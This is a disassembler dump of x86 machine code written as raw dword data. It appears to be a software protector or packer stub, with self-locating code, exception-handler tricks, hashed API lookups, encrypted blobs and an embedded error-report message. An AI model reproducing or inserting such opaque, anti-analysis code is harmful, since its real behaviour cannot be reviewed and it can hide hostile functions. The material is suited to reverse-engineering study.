		dd 1CF39844h, 0D0FF5180h, 11E9h, 73C17100h, 9DDAA9A1h
		dd 30007A0h, 12F53AEBh,	858D811Eh, 5B1E8Eh, 16C98D89h
		dd 0D0FF0607h, 10E1BD8Bh, 820F0607h, 9,	3820Fh,	8B660000h
		dd 0FC08BFEh, 389h, 0D7B70F00h,	0FF5BD83h, 75000607h, 1BD8309h
		dd 60730h, 53501974h, 0C6B8C08Bh, 8900000Bh, 709D585h
		dd 0A79D8D06h, 0FF0609ACh, 83585BD3h, 73001BDh,	17740006h
		dd 0C6B85350h, 8900000Bh, 709D585h, 969D8D06h, 0FF0609A9h
		dd 8B585BD3h, 95B589CBh, 8B060714h, 0C88B66C0h,	0FFFF883h
		dd 4285h, 0E8C78100h, 0C70C572Fh, 701D185h, 6, 9D89F800h
		dd 6071EF1h, 109E9h, 0B9666000h, 0CE83FF6h, 7D000000h
		dd 9FED1A9Fh, 43209B4Ah, 80795B20h, 615865EBh, 24E9h, 41BD8900h
		dd 83060730h, 850F01F8h, 15h, 11F18529h, 0BE90607h, 56000001h
		dd 895A5A51h, 711DD95h,	0F214E906h, 0EE9FFFFh, 2C000000h
		dd 38EF120Ch, 0CBB0BB8Eh, 428B7524h, 0BAC08B32h, 5FCE67FFh
		dd 0FF5BD83h, 75000607h, 1BD8309h, 60730h, 53501974h, 0DDB8C08Bh
		dd 89000007h, 709D585h,	0A79D8D06h, 0FF0609ACh,	83585BD3h
		dd 73001BDh, 17740006h,	0DDB85350h, 89000007h, 709D585h
		dd 969D8D06h, 0FF0609A9h, 6A585BD3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0BDFEC350h
		dd 0BAE847E9h, 0F714E402h, 15AD958Bh, 0F2800607h, 14E88Ch
		dd 89810000h, 0BD17D2F6h, 0AE039548h, 34B445D8h, 8ED4024Ah
		dd 8B5F9ADFh, 0C1BD29C0h, 0E9060709h, 242h, 2CC5BD09h
		dd 858D0607h, 609FE99h,	3165B589h, 85890607h, 60A0091h
		dd 0DA816660h, 0BD8912F3h, 6070709h, 5FE961h, 11E80000h
		dd 53000000h, 760F6A56h, 160DA97Ah, 361E4195h, 4F8B2053h
		dd 858D5FF9h, 609FCA1h,	0E1BC6CBFh, 6A4071h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0E0623CC3h
		dd 0BD284ABAh, 663DE9E3h, 89E8A8BFh, 0A009185h,	68A0F06h
		dd 8B000000h, 704898Dh,	8D346A06h, 72AE185h, 0B5FF5006h
		dd 60A0091h, 95FF006Ah,	6071BB9h, 0F07F883h, 16884h, 0DB8C6600h
		dd 0F04C3F6h, 10285h, 585C600h,	5606072Ch, 0A8B85268h
		dd 2DB5FF9Ch, 8D06071Bh, 73B2485h, 6AD0FF06h, 10006804h
		dd 646A0000h, 0D0FF006Ah, 1048589h, 85C6060Ah, 6072C05h
		dd 0AC9B6847h, 0B5FFEC18h, 6071B2Dh, 3B24858Dh
		dd 0D0FF0607h, 0F08BD0FFh, 2C0585C6h, 684F0607h, 0C62F2661h
		dd 1E95B5FFh, 858D0607h, 6073B24h, 9D8DD0FFh, 60A0100h
		dd 56286A53h, 0C085D0FFh, 85C60075h, 6072C05h, 64986841h
		dd 0B5FFDB87h, 6071E95h, 3B24858Dh, 0D0FF0607h,	11D8589h
		dd 85C6060Ah, 6072C05h,	0E7A4684Ch, 0B5FF80A4h,	6071E95h
		dd 3B24858Dh, 0D0FF0607h, 1049D8Bh, 5B8D060Ah, 9D8D5304h
		dd 60A0109h, 0FF006A53h, 49D8BD0h, 0C7060A01h, 103h, 0C43C700h
		dd 2, 1E3D9D8Bh, 85C70607h, 60704B1h, 0
aJjj:
		unicode	0, <jjj>
		dw 9D8Bh
		dd 60A0104h, 0FF006A53h, 0A0100B5h, 1D95FF06h, 0C6060A01h
		dd 72C0585h, 97684506h,	0FF92A5F7h, 71B01B5h, 24858D06h
		dd 0FF06073Bh, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h
		dd 0A01049Dh, 0C43C706h, 0
		dd 6A006Ah, 1049D8Bh, 6A53060Ah, 0B5FF00h, 0FF060A01h
		dd 0A011D95h, 0B5FF06h,	0FF060A01h, 71FF995h, 0FF006A06h
		dd 707D195h, 6AF906h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8A0F42C3h, 6, 0AED8D89h,	858D0607h
		dd 60A33C4h, 6EC28150h,	8A31036Eh, 35FF64D1h, 0
		dd 6820F52h, 29000000h,	71DAD95h, 89645906h, 25h, 0E9858900h
		dd 83060704h, 7217DBDh,	840F0006h, 33h,	8DBD83F8h, 1060721h
		dd 25850Fh, 0D7810000h,	46685C1Fh, 51DBD80h, 0F00060Ah
		dd 1285h, 1D8D8900h, 0E906070Ch, 13Fh, 0FB0B660h, 3361C7BFh
		dd 11E9DBh, 0E1B20000h,	80152623h, 82D2E350h, 0F3D338DAh
		dd 339D5369h, 8529FCC0h, 6070CE9h, 73F0F40h, 58F640Bh
		dd 0
		dd 5704C483h, 0CF59D89h, 0F5A0607h, 0FB83D7BFh,	0E840FFFh
		dd 29000000h, 7154995h,	0DFE906h, 0D1800000h, 81E97Eh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0FE938C3h, 7A000000h, 0AA72EC15h,	1A852F3Bh
		dd 1FCE6CBBh, 4C8B8014h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h
		dd 33040000h, 5C8BC3C0h, 0E8550C24h, 0
		dd 0E6ED815Dh, 8B060A33h, 0B883h, 75858D00h, 89060A34h
		dd 0B883h, 0C0335D00h, 498589C3h, 0F06071Ah, 68Dh, 0ED8D8900h
		dd 8D060711h, 0A33DC85h, 0E9815006h, 5AEE1578h,	12DD950Bh
		dd 0FF640607h, 35h, 1840F00h, 0F9000000h, 258964h, 89000000h
		dd 721F5BDh, 0AB906h, 4B80000h,	54855D7h, 0DF78164h, 85D465BBh
		dd 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h
		dd 5985C70Ah, 1060700h,	64000000h, 58Fh, 0C4830000h, 0E9805004h
		dd 95035F54h, 60725EDh,	0FDDB589h, 0D7BF0607h, 8B3B2359h
		dd 99BD03C0h, 0B9060712h, 5FD5160Fh, 0FF5BD83h,	75000607h
		dd 1BD8309h, 60730h, 53501974h,	3DB8C08Bh, 89000004h, 7265D85h
		dd 0E9D8D06h, 0FF0609ADh, 83585BD3h, 73001BDh, 17740006h
		dd 3DB85350h, 89000004h, 7265D85h, 0AF9D8D06h, 0FF0609A9h
		dd 23585BD3h, 72841BDh,	0E9C08B06h, 147h, 4, 31392E31h
		dd 30h,	6 dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 746E6F63h, 20746361h
		dd 20656874h, 74666F73h, 65726177h, 76656420h, 706F6C65h
		dd 20737265h, 68746977h, 65687420h, 6C6F6620h, 69776F6Ch
		dd 6320676Eh, 7365646Fh, 6854202Eh, 206B6E61h, 2E756F79h
		dd 0D0A0D0Ah, 2	dup(20202020h),	65727028h, 43207373h, 2B4C5254h
		dd 6E6F2043h, 69687420h, 69772073h, 776F646Eh, 206F7420h
		dd 79706F63h, 206F7420h, 70696C63h, 72616F62h, 20202964h
		dd 0D0A2020h, 65560D0Ah, 6F697372h, 3D20206Eh, 0A732520h
		dd 6568430Dh, 4E496B63h, 203D2020h, 0D0A6425h, 63656843h
		dd 54554F6Bh, 25203D20h, 500D0A64h, 49636F72h, 2020204Eh
		dd 6425203Dh, 72500D0Ah, 554F636Fh, 3D202054h, 0A642520h
		dd 6978450Dh, 204E4974h, 203D2020h, 0D0A6425h, 74697845h
		dd 2054554Fh, 25203D20h, 540D0A64h, 206E6950h, 20202020h
		dd 6425203Dh, 83000D0Ah, 702B5BDh, 840F0006h, 12Dh, 0A7C6858Dh
		dd 8D500609h, 9A73085h,	1685006h, 0FF800000h, 9A7D695h
		dd 0FA858D06h, 50060A34h, 3504858Dh, 6A50060Ah,	8D006A00h
		dd 9A74485h, 0B5FF5006h, 609A7C6h, 308D95FFh, 858D0607h
		dd 60A34FAh, 8858D50h, 50060A35h, 6A006Ah, 0A756858Dh
		dd 0FF500609h, 9A7C6B5h, 8D95FF06h, 8D060730h, 0A34FA85h
		dd 858D5006h, 60A3514h,	6A006A50h, 0A3858D00h, 500609A7h
		dd 0A7C6B5FFh, 95FF0609h, 607308Dh, 34FA858Dh, 8D50060Ah
		dd 0A351C85h, 6A5006h, 858D006Ah, 609A7C1h, 0C6B5FF50h
		dd 0FF0609A7h, 7308D95h, 0FA858D06h, 50060A34h,	3518858Dh
		dd 6A50060Ah, 8D006A00h, 9A7AA85h, 0B5FF5006h, 609A7C6h
		dd 308D95FFh, 858D0607h, 60A34FAh, 0C858D50h, 50060A35h
		dd 6A006Ah, 0A7B2858Dh,	0FF500609h, 9A7C6B5h, 8D95FF06h
		dd 8D060730h, 0A34FA85h, 858D5006h, 60A3510h, 6A006A50h
		dd 0B9858D00h, 500609A7h, 0A7C6B5FFh, 95FF0609h, 607308Dh
		dd 0A7C6B5FFh, 95FF0609h, 6070A79h, 0A2E9h, 0EDBD8300h
		dd 60714h, 95840Fh, 0BD830000h,	607218Dh, 11850F00h, 8B000000h
		dd 72FBD95h, 0F8C28106h, 0E900001Ch, 0Fh, 24C9958Dh, 528B0607h
		dd 40C28134h, 893BD4C3h, 70FE195h, 0E1BD8306h, 6070Fh
		dd 55840Fh, 9D8B0000h, 6070FE1h, 8B4CC383h, 4858903h, 8B060A35h
		dd 70FE19Dh, 50C38306h,	8589038Bh, 60A3508h, 0FE19D8Bh
		dd 0C3830607h, 89038B54h, 0A351485h, 0E19D8B06h, 8306070Fh
		dd 38B58C3h, 35188589h,	9D8B060Ah, 6070FE1h, 8B5CC383h
		dd 0C858903h, 83060A35h, 702B5BDh, 850F0006h, 0Dh, 14EDBD83h
		dd 0F000607h, 6884h, 1CB5FF00h,	0FF060A35h, 0A3510B5h
		dd 0CB5FF06h, 0FF060A35h, 0A3518B5h, 14B5FF06h,	0FF060A35h
		dd 0A3508B5h, 4B5FF06h,	8D060A35h, 0A34FE85h, 858D5006h
		dd 60A3536h, 71858D50h,	50060717h, 2B6995FFh, 0C4830607h
		dd 8D406A24h, 0A352085h, 858D5006h, 6071771h, 0FF006A50h
		dd 71BB995h, 0FF016A06h, 707D195h, 0EBC18B06h, 46F31718h
		dd 9Bh,	4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 0CAED815Dh, 61060A38h, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 3902B58Bh, 0E681060Ah, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3906B53Bh, 860F060Ah
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	70FE185h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 162D95FFh,	0F500607h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	70FE185h, 0C606h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 0E1858B00h, 8606070Fh, 0FDB0A18h, 0FFFFF685h, 0ED85C7FFh
		dd 6070Ch, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 0CED85C7h, 1000607h, 5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 38A785C7h, 1060Ah, 0F500000h
		dd 0FE244C01h, 38AB858Fh, 858D060Ah, 60A38A3h, 38ABBD8Dh
		dd 3889060Ah, 23E9h, 0C9858D00h, 8B060724h, 17053840h
		dd 899B46F3h, 0A38A385h, 0C9858D06h, 8B060724h,	85893C40h
		dd 60A38A7h, 38C0858Dh,	8589060Ah, 607162Dh, 87E9h, 0D48B5200h
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3B33858Dh, 8589060Ah, 6071995h, 3B5B858Dh, 8589060Ah
		dd 60701FDh, 3B83858Dh,	8589060Ah, 60707A5h, 0B3605060h
		dd 63BF661Dh, 8B5961E5h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 18BA663Ah, 0F5BD8310h
		dd 6070Fh, 0BD830975h, 6073001h, 50197400h, 0B8C08B53h
		dd 40Eh, 9D58589h, 9D8D0607h, 609ACA7h,	585BD3FFh, 3001BD83h
		dd 74000607h, 0B8535017h, 40Eh,	9D58589h, 9D8D0607h, 609A996h
		dd 585BD3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	29C35141h, 0BA6FDBBFh, 1B2D585Fh, 8166606Fh, 0F5E727C9h
		dd 0FC08B61h, 0FE9D3BFh, 32000000h, 39585B51h, 7CF7F148h
		dd 327B8703h, 0BD83FFE8h, 607217Dh, 0D840F00h, 0F000000h
		dd 4EE9F7BFh, 0BE000002h, 73CCD807h, 0EA81DF8Ch, 68CF6F4Dh
		dd 4C7F766h, 36850F00h,	0F000002h, 0BD83F0BFh, 6072AA1h
		dd 46850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 8DB5C351h, 92DDFD9Bh
		dd 200E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8B281957h, 6AFF2BD0h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0BEFBC356h
		dd 3C43DC0Ah, 0BFD85844h, 0FCEDCD80h, 3E929D8Dh, 0F5BE060Ah
		dd 936C70B0h, 14E8h, 0B60BF800h, 1FF5F955h, 15E92B35h
		dd 9160C899h, 2F00BA2h,	5E70B2F2h, 0F130B950h, 0F93254Dh
		dd 78Ah, 0B9666000h, 61FCA81Fh,	35FF64h, 0B9000000h, 1337264Dh
		dd 258964h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 4467C352h, 3062EC25h
		dd 0C48BF9C6h, 4860Fh, 0BE660000h, 1CD0B40h, 8A6000EBh
		dd 0F68166EBh, 6A61BF0Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 649FC357h, 58Fh, 9E90000h
		dd 3B000000h, 88D11FB1h, 1E6BFD31h, 0BA04C483h,	7A9CA15Bh
		dd 840FC00Bh, 0E9h, 0F61A5B5h, 284h, 8DCB8B00h,	76D68BDh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 245C4F28h, 0EF591D74h, 9E9F9h, 0E0630000h
		dd 76AFFF75h, 0B806D4DAh, 1, 38B0Fh, 8B660000h,	0E9E7FFF1h
		dd 0Ah,	6209174Eh, 56A39BEBh, 14E8B23Ah, 91000000h, 30618397h
		dd 0F429A2CFh, 0FEEC4113h, 0AEC8DECh, 5A141552h, 245C8B57h
		dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h
		dd 0B883h, 335F0200h, 6AC3C0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0E6BC84C3h, 0AB6F6F5h
		dd 0E9519E44h, 0Ch, 0C15D7D4Dh,	8C602DA7h, 0C60CC030h
		dd 0A840Fh, 850F0000h, 4, 0B432BA66h, 569CB1B9h, 6A6144h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 4A351C3h, 72845DBEh,	0C1F18166h, 66C08B22h, 834928B9h
		dd 70FF5BDh, 9750006h, 3001BD83h, 74000607h, 8B535019h
		dd 40EB8C0h, 85890000h,	607265Dh, 0AD0E9D8Dh, 0D3FF0609h
		dd 0BD83585Bh, 6073001h, 50177400h, 40EB853h, 85890000h
		dd 607265Dh, 0A9AF9D8Dh, 0D3FF0609h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 69586BC3h
		dd 0E842971Ah, 10h, 6F3D8671h, 0DC7EBA2Ch, 7EC701F7h, 0F0522747h
		dd 5AD78B66h, 8166CA8Ah, 6A5052F6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0B167C350h
		dd 52C08BF4h, 5AD7B70Fh, 13E8C28Bh, 7F000000h, 0CEC791h
		dd 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 810FEB7Bh,	3, 5ADBBF0Fh
		dd 0ECC281F9h, 8B000059h, 1654BFC3h, 0D9810000h, 37B8BA7Ch
		dd 10E9328Bh, 0DE000000h, 32FF62D5h, 0AFF27224h, 0E2BAC803h
		dd 8164E10Dh, 3258A2F6h, 58C0F33h, 0B9000000h, 30CFF9BCh
		dd 0D20DC681h, 890F52C5h, 5, 977BEAB9h,	21F6814Ah, 520B8E61h
		dd 0CE8h, 5757C400h, 15BBA910h,	0CD4D0743h, 0D0CD80BCh
		dd 32895959h, 0E78A54BBh, 4EA8332h, 81C78B66h, 1EFh, 91850F00h
		dd 0EBFFFFFFh, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 8D858B24h
		dd 8D060721h, 0A6FB985h, 8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 0A408B8Dh, 0A1BD8306h, 6072Ah, 0F840Fh, 6A600000h
		dd 0B595FF00h, 61060716h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
		dd 2728966h, 5A04CD52h,	40878589h, 0B58B060Ah, 60A408Bh
		dd 6610CEC1h, 8B027289h, 0A408BB5h, 72896606h, 858B61FCh
		dd 60A4087h, 0E9958DC3h, 89060728h, 70FE195h, 0DD958906h
		dd 0FF060706h, 706DD85h, 585C606h, 5306072Ch, 0B148D868h
		dd 2DB5FFFCh, 8D06071Bh, 73B2485h, 89D0FF06h, 716B585h
		dd 0DA858D06h, 89060A38h, 7206985h, 0E900EB06h,	625h, 619E9h
		dd 42386800h, 3E9060Ah,	68FFFD3Ah, 60A436Dh, 0FD39F9E9h
		dd 441568FFh, 0EFE9060Ah, 68FFFD39h, 60A44F5h, 0FD39E5E9h
		dd 460868FFh, 0DBE9060Ah, 95FFFD39h, 2DFBD982h,	0C89674E7h
		dd 67351348h, 4D2B0ABh,	0D16C4A11h, 82D93C9Bh, 1B40D6A4h
		dd 0B7A46F3Dh, 55060BD9h, 3AC1A577h, 84D1AC58h,	3B6403DDh
		dd 7EC76B65h, 6EED23E1h, 6B1CFE8Bh, 0B0917EC7h,	257EC76Bh
		dd 7EC76B4Fh, 57040DCBh, 6B10E774h, 0C78C7EC7h,	9B856D64h
		dd 8C19FC40h, 0FEC7CBB6h, 0BF12930h, 0CE082F46h, 0AFDB2B96h
		dd 9614F764h, 0C101CC0Fh, 0E8CE11F8h, 9472E92Ah, 0EB0E4DC6h
		dd 0CAB076EBh, 2753080Ch, 118F72E9h, 0B9EBCB8Ah, 9C4108F2h
		dd 0B22D7590h, 326CA352h, 0D97ABF4h, 48EB0ACh, 0DB3C0000h
		dd 40D4A280h, 0A16F3D1Bh, 40EDCBAh, 6AAB7957h, 0F47813F1h
		dd 4B2932E3h, 0E4C2997Dh, 805EFD16h, 1EFC5FB2h,	0FFE1684Ch
		dd 8484D1ACh, 8C4A0BAAh, 2EF2D586h, 1A9278E3h, 0C76BB193h
		dd 10F3367Eh, 7C995755h, 12F5BCDFh, 0C76BAE85h,	0E4DBEF7Eh
		dd 0A684D73Ah, 28E8A61Eh, 54491033h, 7EC76B72h,	0DD1B4F7h
		dd 36345704h, 0C4552F71h, 0F8DBE6BAh, 5B7EDD34h, 0F32F949Ch
		dd 99573D1Eh, 86FCDF7Ch, 8872A8DDh, 3C2E3DEh, 40A0000h
		dd 1E2B4E0Dh, 7EC76B47h, 0C8126993h, 5F341249h,	59265B1h
		dd 4C306098h, 0F2D5868Eh, 0A30BED74h, 4D907EC7h, 29672C2Ah
		dd 590211F5h, 61CDFC26h, 259BA7Eh, 69BB5624h, 0C85700E2h
		dd 9342857Eh, 32EE7070h, 0D08B8654h, 1FF1AFADh,	6F52193Ch
		dd 12F06BABh, 0C857A57Bh, 31A9217Eh, 0C856C8AAh, 150A4D7Eh
		dd 7EC85733h, 0CE9275B8h, 0DD64DC48h, 7EC856FBh, 66483D80h
		dd 0EB7EC857h, 5513F9A8h, 0B2799CBFh, 9E1614CFh, 0C8573517h
		dd 9477BA7Eh, 0EFD50D14h, 0C159C168h, 84BBFE78h, 11A45BE4h
		dd 59BEBA1Bh, 71000003h, 9D7B5A6h, 0A472500Bh, 4311EF6Ch
		dd 0E0AE8CCFh, 0AD482635h, 5EFD18BFh, 0F764B280h, 93C84B19h
		dd 312AE7B5h, 169D8153h, 84D1AE34h, 4A40DFB9h, 0F0D3888Ch
		dd 0EEF2E52Ch, 0DE278787h, 7C7A9D4Ch, 449E3B7h,	0FDE0C5BDh
		dd 6083D839h, 0B22AFA1Ch, 0C7C7492Bh, 968BCE7Eh, 7EC7C7B4h
		dd 6760FEEBh, 866B3E06h, 1FB69443h, 7EC7CB89h, 0C7DDA076h
		dd 1B40D67Eh, 0BD15EBF8h, 8A8F7EC7h, 0FF2239D7h, 0BD987A01h
		dd 0DA1D7EC7h, 0F967C2Bh, 78BFDF30h, 848EE7ACh,	9B64566Fh
		dd 0C1F83BB8h, 11A4BCB1h, 0B1F1ED4Eh, 19000002h, 0B17F5DFEh
		dd 4C1AF863h, 0EBB997C4h, 88563427h, 55F0CE8Dh,	655C017h
		dd 9FBC5A28h, 3B20F3C1h, 0D9828F5Dh, 0BE4529FBh, 84D1AEDCh
		dd 4AE88761h, 0F6D71585h, 0B9573291h, 9B87FA2h,	0ACAF6226h
		dd 0E5C74EC6h, 6A7EC7D9h, 4417FB27h, 0AF62A661h, 0CA79E22Fh
		dd 9BE0E8A7h, 0A389D23Fh, 0B2E2DE5h, 42EB6144h,	0DE884243h
		dd 20348h, 8C4A6F00h, 9FBC548Ah, 0D306B57Ch, 9E937F52h
		dd 6BF8DB13h, 7EC7FA95h, 7A224C11h, 0FB7FAFFh, 79AB682Ch
		dd 0C7BB10F2h, 0A352957Eh, 0A0783DC5h, 0DD3B41EAh, 5EB5795Ch
		dd 7D96DAFDh, 6FCBBDEh,	0AB8ECD48h, 997AA41Bh, 4A3BE4C2h
		dd 41DE87C6h, 4Fh, 85D14868h, 0A5F15810h, 2D13C2D6h, 0BFDEE3A6h
		dd 0AEE52878h, 11A51ECEh, 0D1D4D031h, 0F9000001h, 915F3D1Eh
		dd 2CFAD883h, 0CB9977E4h, 68361447h, 35D0AEADh,	0E675A037h
		dd 7FDC3A08h, 1B40D3A1h, 0B9A26F3Dh, 9E2509DBh,	84D1AFBCh
		dd 4C86741h, 381C4C0Fh,	0C76B07B1h, 0E6094C7Eh,	0CEA71A2h
		dd 6588D33Eh, 912CA267h, 0AF8E4E05h, 0ED24CCCh,	0AAB16230h
		dd 0EB0EFFC4h, 0FD302BE6h, 12F57C90h, 0E143CE9Ch, 0C800785Ah
		dd 0BBAFD7Eh, 0E972A4E8h, 82D93D0Bh, 8468985Fh,	0C8001BFDh
		dd 3A5DA07Eh, 50C41AF6h, 0C9B32887h, 0A554BA13h, 898E18F6h
		dd 26EA2E51h, 0EAC05735h, 647EC864h, 813F25FDh,	0E0A7CA91h
		dd 75F87FFDh, 3A78C170h, 595739C0h, 62DC78C1h, 0C158F9DBh
		dd 8C3B7E78h, 0DB39F7DDh, 40D4A280h, 35FAF81Bh,	572407C7h
		dd 8B8AB6D1h, 0EA29EDD0h, 0C0A4E71h, 0FCA4694Fh, 2D2EE4B1h
		dd 59020CFAh, 9977BB76h, 0AA9A5B3Eh, 0E1905DD5h, 0C148C0BEh
		dd 78C0BEDFh, 0BE3E2164h, 169D835Bh, 72B8DCA3h,	0D8EE2568h
		dd 6717AC0Eh, 0BE0A06h,	0B0C0000h, 70A47250h, 0D13F0DEBh
		dd 34DEAC8Ah, 9A7B4927h, 2448E3C1h, 1BF962B3h, 0B492C94Dh
		dd 502E2DE6h, 0EECC8F82h, 0CFB1381Ch, 5484D1B0h, 854ADB7Ah
		dd 38836AE6h, 0B67A5D09h, 99DD005Bh, 0B9005F78h, 1533B0E1h
		dd 843328E9h, 259AA261h, 654318F9h, 65F61FDDh, 0C54F7B42h
		dd 7114B396h, 1ADE8841h, 18h, 6B643B41h, 22E07EC7h, 0D93B67F4h
		dd 36DB9F82h, 1BC14725h, 5E000000h, 0C76B653Bh,	0E5769B7Eh
		dd 652C3AFFh, 0AD09C8B5h, 77B9EE7Ah, 14F7E3F2h,	3BF22F9Eh
		dd 1F24h, 0A930A800h, 7EC76AC7h, 0EE5C1FFEh, 0E8CD2898h
		dd 0F61AC2A5h, 5E81DA38h, 3C5FFC1Ah, 7EE3C675h,	25481304h
		dd 82B30E1h, 0E90C4FC4h, 0C7EA71A5h, 0A6C99283h, 85A8B362h
		dd 678AD141h, 4B6EED23h, 2B4E0D07h, 0E389532Ah,	4C381h
		dd 0EB830000h, 241C8704h, 5724248Bh, 0C781E789h, 4, 4EF81h
		dd 3C870000h, 14895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h
		dd 68240C89h, 60A4191h,	8124148Bh, 4C4h, 4EC8100h, 89000000h
		dd 4832424h, 53590424h,	59895B52h, 0C8B5B08h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 5A2434FFh,	0E904C483h
		dd 0FFFD3402h, 0B716DFBAh, 2FFF222h, 8AFB2137h,	0EBB8AE26h
		dd 3060A46h, 0EBD18BC5h, 20h, 7	dup(0)
		dd 556E900h, 4AE90000h,	68000005h, 60A4902h, 0FD33B5E9h
		dd 499D68FFh, 0ABE9060Ah, 68FFFD33h, 60A4BAAh, 0FD33A1E9h
		dd 4C0268FFh, 97E9060Ah, 0D9FFFD33h, 713F1D3Eh,	0CDAB8A3h
		dd 0AB795704h, 4816F467h, 15B08ECDh, 0C6958057h, 5FFC1AE8h
		dd 0FB60B381h, 99C24F1Dh, 7E05E9BBh, 84D1B29Ch,	4AA84721h
		dd 0E876D85h, 0D7BA9377h, 3B5EFD13h, 0C79D582Eh, 4338E6FEh
		dd 46A918DDh, 69901C78h, 829EE786h, 0F2B05E88h,	4F163922h
		dd 182B6Ch, 3B520000h, 7EC76B64h, 0BDA37BDEh, 0BCB30136h
		dd 1DFB3E78h, 2A97h, 653B3400h,	0DF7EC76Bh, 37BEA47Ah
		dd 78BCB302h, 5D3FC63Eh, 9B78BD23h, 0B9FCE17Ah,	139259D6h
		dd 0CAB5D2A4h, 0BBAA173h, 4A0F7E5Ch, 0F4D7848Ch, 587BE030h
		dd 0E2799C5Ah, 6B9D72FFh, 3FD3FEC7h, 5BB5F91Ch,	0A7CA9183h
		dd 0AF0E31E0h, 58C90E7h, 0FEC76B23h, 0A5B665A8h, 40D00A71h
		dd 0ACB33D1Bh, 33099076h, 0B0FEC77Bh, 153823F0h, 387C9F4Eh
		dd 1AA482D9h, 72F9DF07h, 0F8BF7947h, 1926498Ch,	0F8C03A43h
		dd 0A75C23D1h, 648FE6DEh, 66ADh, 0D148D400h, 6A9C2309h
		dd 0AF78BCAAh, 4CC8866Ch, 4225EC0Fh, 500B06C4h,	0EE6DA472h
		dd 0A883F5B7h, 0ADA90A11h, 352h, 6C4A1106h, 7E5769Eh, 0A684D739h
		dd 43213AD8h, 0DDBBA075h, 68AD2A42h, 0CF4715F3h, 33E0AE8Ch
		dd 957C4A28h, 3216E8C6h, 0D1B3C9ABh, 0D5744E84h, 0B563854Ah
